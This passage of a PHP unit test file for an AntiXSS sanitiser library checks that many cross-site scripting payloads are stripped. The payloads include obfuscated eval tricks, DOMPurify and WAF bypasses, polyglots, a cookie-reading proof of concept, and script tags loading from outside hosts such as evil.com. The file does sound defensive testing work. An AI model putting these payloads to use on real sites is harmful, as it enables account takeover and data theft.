'http://bilderdienst.bundestag.de/archives/btgpict/search/_%27-document.write%28String.fromCharCode%2860,105,109,103,32,115,114,99,61,34,104,116,116,112,58,47,47,98,108,111,103,46,102,100,105,107,46,111,114,103,47,50,48,49,51,45,48,54,47,51,56,56,57,50,49,56,55,46,106,112,103,34,32,115,116,121,108,101,61,34,112,97,100,100,105,110,103,58,32,50,53,48,112,120,32,51,51,48,112,120,59,10,112,111,115,105,116,105,111,110,58,32,97,98,115,111,108,117,116,101,59,10,122,45,105,110,100,101,120,58,32,49,48,59,34,62%29%29-%27/' => "http://bilderdienst.bundestag.de/archives/btgpict/search/_'-(String.fromCharCode(60,105,109,103,32,115,114,99,61,34,104,116,116,112,58,47,47,98,108,111,103,46,102,100,105,107,46,111,114,103,47,50,48,49,51,45,48,54,47,51,56,56,57,50,49,56,55,46,106,112,103,34,32,115,116,121,108,101,61,34,112,97,100,100,105,110,103,58,32,50,53,48,112,120,32,51,51,48,112,120,59,10,112,111,115,105,116,105,111,110,58,32,97,98,115,111,108,117,116,101,59,10,122,45,105,110,100,101,120,58,32,49,48,59,34,62))-'/",
'https://bilderdienst.bundestag.de/archives/btgpict/search/_%27-dOcumEnt.wRite%28String.fromCharCode%2860,105,109,103,32,115,114,99,61,34,104,116,116,112,58,47,47,98,108,111,103,46,102,100,105,107,46,111,114,103,47,50,48,49,51,45,48,54,47,51,56,56,57,50,49,56,55,46,106,112,103,34,32,115,116,121,108,101,61,34,112,97,100,100,105,110,103,58,32,50,53,48,112,120,32,51,51,48,112,120,59,10,112,111,115,105,116,105,111,110,58,32,97,98,115,111,108,117,116,101,59,10,122,45,105,110,100,101,120,58,32,49,48,59,34,62%29%29-%27/' => "https://bilderdienst.bundestag.de/archives/btgpict/search/_'-(String.fromCharCode(60,105,109,103,32,115,114,99,61,34,104,116,116,112,58,47,47,98,108,111,103,46,102,100,105,107,46,111,114,103,47,50,48,49,51,45,48,54,47,51,56,56,57,50,49,56,55,46,106,112,103,34,32,115,116,121,108,101,61,34,112,97,100,100,105,110,103,58,32,50,53,48,112,120,32,51,51,48,112,120,59,10,112,111,115,105,116,105,111,110,58,32,97,98,115,111,108,117,116,101,59,10,122,45,105,110,100,101,120,58,32,49,48,59,34,62))-'/",
'<img src=x:alert(alt) onerror=eval(src) alt=0>' => '<img >',
'<IMG SRC="j a' . \chr(0) . 'v a ' . "\xe2\x82\xa1" . ' s c r' . "\xf0\x90\x8c\xbc" . 'i p t:alert(\'XSS\');">' => '<IMG src="">',
'<IMG alt="中文空白" SRC="j a v a ' . "\xe2\x82\xa1" . ' s c r' . "\xf0\x90\x8c\xbc" . 'i p t:alert(\'XSS\');">' => '<IMG alt="中文空白" src="">',
'<script>prompt(1)</script>' => '',
'<script>confirm(1)</script>' => '',
'<script>var fn=window[490837..toString(1<<5)];fn(atob(\'YWxlcnQoMSk=\'));</script>' => '',
'<script>var fn=window[String.fromCharCode(101,118,97,108)];fn(atob(\'YWxlcnQoMSk=\'));</script>' => '',
'<script>var fn=window[atob(\'ZXZhbA==\')];fn(atob(\'YWxlcnQoMSk=\'));</script>' => '',
'<script>window[490837..toString(1<<5)](atob(\'YWxlcnQoMSk=\'))</script>' => '',
'<script>this[490837..toString(1<<5)](atob(\'YWxlcnQoMSk=\'))</script>' => '',
'<script>this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]](++[[]][+[]])</script>' => '',
'<script>this[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]]((-~[]+[]))</script>' => '',
'<script>\'str1ng\'.replace(/1/,alert)</script>' => '',
'<script>\'bbbalert(1)cccc\'.replace(/a\w{4}\(\d\)/,eval)</script>' => '',
'<script>\'a1l2e3r4t6\'.replace(/(.).(.).(.).(.).(.)/, function(match,$1,$2,$3,$4,$5) { this[$1+$2+$3+$4+$5](1); })</script>' => '',
'<script>eval(\'\\\\u\'+\'0061\'+\'lert(1)\')</script>' => '',
'<script>throw~delete~typeof~prompt(1)</script>' => '',
'<script>delete[a=alert]/prompt a(1)</script>' => '',
'<script>delete[a=this[atob(\'YWxlcnQ=\')]]/prompt a(1)</script>' => '',
'<script>(()=>{return this})().alert(1)</script>' => '',
'<script>new function(){new.target.constructor(\'alert(1)\')();}</script>' => '',
'<script>Reflect.construct(function(){new.target.constructor(\'alert(1)\')()},[])</script>' => '',
'<link/rel=prefetch
import href=data:q;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg>' => "<link/rel=prefetch\nimport href=PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg>",
'<link rel="import" href="data:x,<script>alert(1)</script>' => '<link rel="import" href="data:x,',
'<script>Array.from`1${alert}3${window}2`</script>' => '',
'<script>!{x(){alert(1)}}.x()</script>' => '',
'<script>Array.from`${eval}alert\`1\``</script>' => '',
'<script>Array.from([1],alert)</script>' => '',
'<script>Promise.reject("1").then(null,alert)</script>' => '',
'<svg </onload ="1> (_=alert,_(1)) "">' => '<svg </">',
'<img onerror="location=\'javascript:=lert(1)\'" src="x">' => '<img src="x">',
'<img onerror="location=\'javascript:%61lert(1)\'" src="x">' => '<img src="x">',
'<img onerror="location=\'javascript:\x2561lert(1)\'" src="x">' => '<img src="x">',
'<img onerror="location=\'javascript:\x255Cu0061lert(1)\'" src="x" >' => '<img src="x" >',
'<div data-toggle=tooltip data-html=true title=\'<script>alert(1)</script>\'></div>' => '<div data-toggle=tooltip data-html=true title=\'\'></div>', // Bypassing CSP strict-dynamic via Bootstrap
'<div data-role=popup id=\'--><script>alert(1)</script>\'></div>' => '<div data-role=popup id=\'-->\'></div>', // Bypassing sanitizers via jQuery Mobile
'<div data-bind="html:\'<script src="//evil.com"></script>\'"></div>' => '<div data-bind="html:\'\'"></div>', // Bypassing sanitizers via Knockout
"\n><!-\n<b\n<c d=\"'e><iframe onload=alert(1) src=x>\n<a HREF=\"\">\n" => "\n><!-\n<b\n<c d=\"'e><iframe src=x>\n<a \"\">\n", // CodeIgniter 2017-01 - https://github.com/bcit-ci/CodeIgniter/commit/2ab1c1902711c8b0caf5c3e8f2fa825d72f6755d
'<x/><title>&lt;/title&gt;&lt;img src=1 onerror=alert(1)&gt;' => '<x/><title>&lt;/title&gt;&lt;img src=1 =alert(1)&gt;', // "Bypassing DOMPurify with mXSS" - http://www.thespanner.co.uk/2018/07/29/bypassing-dompurify-with-mxss/
// Filter Bypass - Tricks (http://brutelogic.com.br/docs/advanced-xss.pdf)
//
// Spacers
'<x%09onxxx=1' => '<x onxxx=1',
'<x%0Aonxxx=1' => '<x' . "\nonxxx=1",
'<x%0Conxxx=1' => '<xonxxx=1',
'<x%0Donxxx=1' => '<x' . "\ronxxx=1",
'<x%2Fonxxx=1' => '<x/onxxx=1',
'<img alt=\'Right click and share me!\' src=% />' => '<img alt=\'Right click and share me!\' />',
'<IMG SRC="jav
ascript:alert(\'XSS\');">' => '<IMG SRC="(\'XSS\');">',
'<IMG SRC="j a v a s c r i p t:alert(\'XSS\');">' => '<IMG SRC="(\'XSS\');">',
'<IMG SRC="j a v a s c r i p t:alert(\'XSS\');">' => '<IMG src="">',
// Quotes
'<x 1=\'1\'onxxx=1' => '<x 1=\'1\'onxxx=1',
'<x 1="1"onxxx=1' => '<x 1="1"onxxx=1',
// Mimetism
'<x </onxxx=hack (closing tag)' => '<x </onxxx=hack (closing tag)',
'<http://onxxx%3Dhack/ (URL)' => '<http://onxxx=hack/ (URL)',
'<x </onxxx=1 (closing tag)' => '<x </onxxx=1 (closing tag)',
'<http://onxxx%3D1/ (URL)' => '<http://onxxx=1/ (URL)',
// Combo
'<x%2F1=">%22OnClick%3D1' => '<x/1=">"=1',
// Location Based Payloads
//
// Location
'<svg onload=location=/javas/.source+/cript:/.source+/ale/.source+/rt/.
source+location.hash[1]+1+location.hash[2]>#()' => '<svg
source+location.hash[1]+1+location.hash[2]>#()',
'<svg id=t:alert(1) name=javascrip onload=location=name+id>' => '<svg id=t:alert(1) name=javascrip >',
'<javascript onclick=location=tagName+innerHTML+location.hash>:/*click me!
#*/alert(1)' => '<javascript >:/*click me!
#*/alert(1)', // javas + cript:"click me! + #"-alert(1)
'*/"<j"-alert(9)<!-- onclick=location=innerHTML+previousSibling.
nodeValue+outerHTML>javascript:/*click me' => '*/"<j"-alert(9)<!--
nodeValue+outerHTML>/*click me',
'<alert(1)<!-- onclick=location=innerHTML+outerHTML>javascript:1/*click me!
*/</alert(1)<!-- -->' => '<alert(1)<!-- >/*click me!
*/</alert(1)<!-- -->',
'<javas onclick=location=tagName+innerHTML+URL>cript:"-\'click me!</javas>#\'-
alert(1)' => '<javas >cript:"-\'click me!</javas>#\'-
alert(1)',
// Location Self
'p=<j onclick=location=textContent>?p=%26lt;svg/onload=alert(1)>' => 'p=<j >?p=%26lt;svg/=alert(1)>',
'p=<svg id=?p=<svg/onload=alert(1)%2B onload=location=id>' => 'p=<svg id=?p=<svg/ >',
// Location Self Plus
'p=%26p=%26lt;svg/onload=alert(1)><j onclick=location%2B=document.body.
textContent>click me!' => 'p=%26p=%26lt;svg/=alert(1)><j
textContent>click me!',
'p=<j onclick=location%2B=textContent>%26p=%26lt;svg/onload=alert(1)>' => 'p=<j >%26p=%26lt;svg/=alert(1)>',
'<object data=javascript:confirm()><a href=javascript:confirm()>click here<script src=//14.rs></script><script>confirm()</script>' => '<object data=()><a >click here', // Without event handlers
'<svg/onload=confirm()><iframe/src=javascript:alert(1)>' => '<svg/><iframe/src=(1)>', // Without space (https://github.com/s0md3v/AwesomeXSS)
'<svg onload=confirm()><img src=x onerror=confirm()>' => '<svg ><img >', // Without slash (/)
'<script>confirm()</script>' => '', // Without equal sign (=)
'<svg onload=confirm()//' => '<svg ', // Without closing angular bracket (>)
'<script src=//14.rs></script><svg onload=co\u006efirm()><svg onload=z=co\u006efir\u006d,z()>' => '<svg ><svg >', // Without alert, confirm, prompt
'<x onclick=confirm()>click here <x ondrag=aconfirm()>drag it' => '<x >click here <x >drag it', // Without a Valid HTML tag
'<svg></p><style><a id="</style><img src=1 onerror=alert(1)>">' => '<svg></p><style><a >">', // DOMPurify 2.0.0 bypass using mutation XSS (2019) (https://research.securitum.com/dompurify-bypass-using-mxss/)
'<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>' => "<dETAILS\nopen\n x>", // Akamai GHost XSS bypass (2018) (https://twitter.com/s0md3v/status/1056447131362324480)
'<iframe srcdoc=\'<meta http-equiv="refresh" content="5;url=(link: https://www.google.com/) google.com " /><script>alert(document.domain + "\n\n" + document.cookie);</script>\'/>' => '<iframe srcdoc=\'<meta http-equiv="refresh" content="5;url=(link: https://www.google.com/) google.com " />\'/>', // MS Edge Iframe srcdoc UXSS POC (2018) (https://mobile.twitter.com/Windowsrcer/status/1071131620856320000?s=19)
'%0ajavascript:`/*\"/*--><svg onload=\'/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//\'">`' => "\n" . "/*\\\"/*--><svg ='/*</template></noembed></noscript></style></title></textarea><html >`", // Awesome Polyglots (https://github.com/s0md3v/AwesomeXSS)
'
Wordfence 7.4.2<a href=javascript:alert(1)>
Sucuri CloudProxy (POST only)<a href=javascript:confirm(1)>
ModSecurity CRS 3.2.0 PL1<a href="jav%0Dascript:alert(1)">
' => '
Wordfence 7.4.2<a >
Sucuri CloudProxy (POST only)<a >
ModSecurity CRS 3.2.0 PL1<a href="(1)">
', // 2019-12 - https://twitter.com/brutelogic/status/1209086328383660033
'https://terjanq.me/xss.php?js=onhashchange=setTimeout;Object.prototype.toString=RegExp.prototype.toString;Object.prototype.source=location.hash;location.hash=null;#null' => 'https://terjanq.me/xss.php?js==setTimeout;Object.prototype.toString=RegExp.prototype.toString;Object.prototype.source=location.hash;location.hash=null;#null', // XSS without parenthesses | https://twitter.com/terjanq/status/1286059146509516800 (2020)
];
$antiXss = new AntiXSS();
foreach ($testArray as $before => $after) {
static::assertSame($after, $antiXss->xss_clean($before), 'testing: ' . $before);
static::assertTrue($antiXss->isXssFound(), 'testing: ' . $before);
}
// test for php < OR > 5.3
$testArray = [
'<DIV STYLE="background-image: url(javascript:alert(\'XSS\'))">' => '<DIV >',
'If you like entities... <a href="javascript:'<script src=//Ð.pw>⃒</script>⃒'">CLICK</a>' => 'If you like entities... <a href="\'⃒⃒\'">CLICK</a>', // https://twitter.com/0x6D6172696F/status/629754114084175872
'<iframe srcdoc="<svg onload=alert(1)>⃒"></iframe>' => '<iframe srcdoc="<svg >⃒"></iframe>',
'<a href="javascript:'<svg onload=alert(1)>⃒'">CLICK</a>' => '<a href="">CLICK</a>',
];
for ($i = 0; $i < 2; ++$i) { // keep this loop, for quick performance tests
foreach ($testArray as $before => $after) {
static::assertSame($after, (new AntiXSS())->xss_clean($before), 'testing: ' . $before);
}
}
}
/**
* https://hadess.io/xss-and-cors-bypass-in-youtube/
*/
public function testXssAndCorsBypassYoutube()
{
$testString = '{"answers":{"check-your-knowledge-1":0,"check-your-knowledge-2":0,"check-your-knowledge-3":2,"check-your-knowledge-4":2,"check-your-knowledge-5":2},"entityId":"ypp_are-you-ready-to-apply-to-y<h1 onload=alert(1)>pp_quiz","localeCode":"en","submitRequired":true}';
$expected = '{"answers":{"check-your-knowledge-1":0,"check-your-knowledge-2":0,"check-your-knowledge-3":2,"check-your-knowledge-4":2,"check-your-knowledge-5":2},"entityId":"ypp_are-you-ready-to-apply-to-y<h1 >pp_quiz","localeCode":"en","submitRequired":true}';
static::assertSame($expected, (new AntiXSS())->xss_clean($testString));
}
/**
* https://github.com/s0md3v/AwesomeXSS
*/
public function testAwesomePayload()
{
/** @noinspection JSUndeclaredVariable */
$testString = "<A/hREf=\"j%0aavas%09cript%0a:%09con%0afirm%0d``\">z
<d3\"<\"/onclick=\"1>[confirm``]\"<\">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y=\"><\">/*<script* */prompt()</script
<w=\"/x=\"y>\"/ondblclick=`<`[confir\u006d``]>z
<a href=\"javascript%26colon;alert(1)\">click
<a href=javascript:alert(1)>click
<script/\"<a\"/src=data:=\".<a,[8].some(confirm)>
<svg/x=\">\"/onload=confirm()//
<--`<img/src=` onerror=confirm``> --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload =\"1> (_=prompt,_(1)) \"\">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=\">\" src=//15.rs></script>
<!'/*\"/*/'/*/\"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
<iframe/src \/\/onload = prompt(1)
<x oncut=alert()>x
<svg onload=write()>";
$expected = '<A/hREf="">z
<d3"<"/<">z
<d3/>z
<details open >
<">/*"/=`<`[confir\u006d``]>z
<a href="(1)">click
<a >click
<svg/x=">"/=confirm()//
<--`<img/> --!>
<>
<> (_=prompt,_(1)) "">
<!-->
<embed src=//14.rs>
" src=//15.rs>
<Image SrcSet=K */; //>
<iframe/src \/\/
<x >x
<svg >';
static::assertSame($expected, (new AntiXSS())->xss_clean($testString));
}
public function testStringReplaceViaRegEx()
{
$testString = "<IMG SRC=\"jav	ascript:alert)'XSS');\">";
static::assertSame('<IMG SRC=")\'XSS\');">', (new AntiXSS())->xss_clean($testString));
}
public function testRemoveEvilAttributes()
{
// init
$antiXss = new AntiXSS();
$testArray = [
'<IMG SRC=\'vbscript:msgbox("XSS")\'>' => '<IMG SRC=\'vbscript:msgbox("XSS")\'>',
'<form onsubmit=\'alert(1)\'><input onfocus=alert(2) name=attributes>123</form>' => '<form ><input name=attributes>123</form>',
'<Video> <source onerror = "javascript: alert (XSS)">' => '<Video> <source >',
];
foreach ($testArray as $test => $expected) {
static::assertSame($expected, $this->invokeMethod($antiXss, '_remove_evil_attributes', [$test]));
}
// ---
$testString = '<li FSCommand="bar" style="list-style-image: url(javascript:alert(0))">';
static::assertSame('<li >', $antiXss->xss_clean($testString));
// ---
$antiXss->removeEvilAttributes(['style', 'FSCommand']);
static::assertSame('<li FSCommand="bar" style="list-style-image: url((0))">', $antiXss->xss_clean($testString));
// ---
// reset
$antiXss->addEvilAttributes(['style', 'FSCommand']);
static::assertSame('<li >', $antiXss->xss_clean($testString));
}
public function testHtmlNoXssPerformance()
{
$input = 'Modul <b>01 . Titel / Intro</b> kann nicht gelöscht werden, da es noch von folgenden Artikeln genutzt wird:
<ul>
<li><a href="index.php?page=content&article_id=2&clang=1&ctype=1">Struktur [2] [de]</a></li>
<li><a href="index.php?page=content&article_id=2&clang=2&ctype=1">Structure [2] [en]</a></li>
<li><a href="index.php?page=content&article_id=3&clang=1&ctype=1">Templates [3] [de]</a></li>
<li><a href="index.php?page=content&article_id=3&clang=2&ctype=1">Templates [3] [en]</a></li>
<li><a href="index.php?page=content&article_id=4&clang=1&ctype=1">Module [4] [de]</a></li>
<li><a href="index.php?page=content&article_id=4&clang=2&ctype=1">Modules [4] [en]</a></li><li><a href="index.php?page=content&article_id=13&clang=1&ctype=1">Fehlerseite [13] [de]</a></li>
<li><a href="index.php?page=content&article_id=13&clang=2&ctype=1">Error page [13] [en]</a></li>
<li><a href="index.php?page=content&article_id=15&clang=1&ctype=1">Sprachen [15] [de]</a></li>
<li><a href="index.php?page=content&article_id=15&clang=2&ctype=1">Languages [15] [en]</a></li></ul>
';
for ($i = 0; $i < 2; ++$i) { // keep this loop, for quick performance tests
static::assertSame($input, (new AntiXSS())->xss_clean($input), 'testing: ' . $input);
}
}
public function testHtmlNoXssFile()
{
$testString = UTF8::file_get_contents(__DIR__ . '/fixtures/xss_no_v1.html');
$resultString = UTF8::file_get_contents(__DIR__ . '/fixtures/xss_no_v1_clean.html');
static::assertSame(
\str_replace(["\r\n", "\r"], "\n", $resultString),
\str_replace(["\r\n", "\r"], "\n", (new AntiXSS())->xss_clean($testString)),
'testing: ' . $testString
);
}
public function testHtmlXssFile()
{
$testString = UTF8::file_get_contents(__DIR__ . '/fixtures/xss_v1.html');
$resultString = UTF8::file_get_contents(__DIR__ . '/fixtures/xss_v1_clean.html');
static::assertSame(
\str_replace(["\r\n", "\r"], "\n", \trim($resultString)),
\str_replace(["\r\n", "\r"], "\n", (new AntiXSS())->xss_clean(\trim($testString))),
'testing: ' . $testString
);
}
public function testIssue115()
{
$antiXss = new AntiXSS();
static::assertSame('/*alert(*/alert(1/*)*/)', $antiXss->xss_clean('/*alert(*/alert(1/*)*/)'));
}
public function testIssue114()
{
$antiXss = new AntiXSS();
// TODO@me -> check if we can whitelist URLs?
static::assertSame('<a href="">...</a>', $antiXss->xss_clean("<a href='https://www.history.com'>...</a>"));
}
public function testIssue113()
{
$antiXss = new AntiXSS();
$value = "Eva L'Host";
$cleaned = $antiXss->xss_clean($value);
static::assertSame($value, $cleaned);
}
public function testIssue111()
{
$html = <<<HTML
<video controls="controls" width="300" height="150">
<source src="https://leonardo.osnova.io/49ab16a3-64a6-505e-97f1-34c83f122a49/-/preview/700/-/format/webp/"/>
<source src="https://leonardo.osnova.io/49ab16a3-64a6-505e-97f1-34c83f122a49/-/preview/700/-/format/webp/" />
</video>
HTML;
$antiXss = new AntiXSS();
$antiXss->removeEvilHtmlTags(['video', 'source']);
static::assertSame($html, $antiXss->xss_clean($html));
static::assertSame(false, $antiXss->isXssFound());
}
public function testIssue58()
{
$testString = '<AWACS>
<HEADER>